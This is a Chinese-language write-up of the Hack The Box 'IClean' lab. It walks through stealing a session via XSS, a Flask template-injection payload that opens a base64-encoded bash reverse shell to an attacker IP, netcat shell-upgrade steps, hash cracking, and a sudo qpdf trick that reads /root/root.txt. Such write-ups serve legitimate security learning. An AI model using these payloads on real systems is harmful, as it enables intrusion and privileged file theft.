HTB IClean
首先做一个常规的信息收集,扫描端口以及开放服务、目录爆破、子域名等等


只开了22和80,目录爆破也没什么特殊路径。那不出意外就是在web上动手了
ps:在访问dashboard的时候有302跳转到主页面,没有内容显示。可能需要session
访问一下80端口是一个类似于清洁公司的服务,各种跳转点点点。在每个路径可以控制输入参数的地方试试命令执行或者xss。最终在sendmessage页面找到了xss。

拿到session,根据之前的推测,加了session之后果然可以访问到dashboard



获得四个新的路径,也需要添加session才可以进行访问


InvoiceGenerator中生成invoice后输入QRGenerator中会生成二维码链接,输入链接会生成账单



扫出来模板是flask的,可能会存在ssti,一个一个点查过去。结果发现qrlink中存在ssti,但是很隐晦

反弹shell
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzg4ODggMD4mMSIK | base64 -d | bash")["read"]() %} a {% endwith %}
查看文件,里面有个app.py。发现里面有数据库的配置:

mysql直接连接经常会报错,这里推荐一个shell升级的办法:
1、nc监听的时候用rlwrap包装,即rlwrap nc -nvlp <port>
2、查看靶机是否有python,可以用which来找。which python python2 python3
3、如果存在python可以执行命令python3 -c "import pty;pty.spawn('/bin/bash')"
4、接下来设置一些重要的环境变量
(1)export SHELL=bash
(2) export TERM=xterm-256color
5、ctrl-z将shell返回到后台
6、使用命令stty raw -echo;fg
7、回车输入reset后再回车将再次回到shell升级完shell后可以连接mysql
分析一下hash的类型
nth -t <hash>
爆破一下。很奇怪我的hashcat跑不出来,john可以跑的出来

拿到密码,尝试ssh连接

sudo -l一下看看特权指令

阅读qpdf官方文档查看有没有可以利用的点
https://qpdf.readthedocs.io/en/stable/cli.html最终的payload构造如下:
sudo /usr/bin/qpdf --empty /tmp/root.txt --qdf --add-attachment /root/root.txt --具体含义是:

提权成功!
最后一次更新于2024-04-18

0 条评论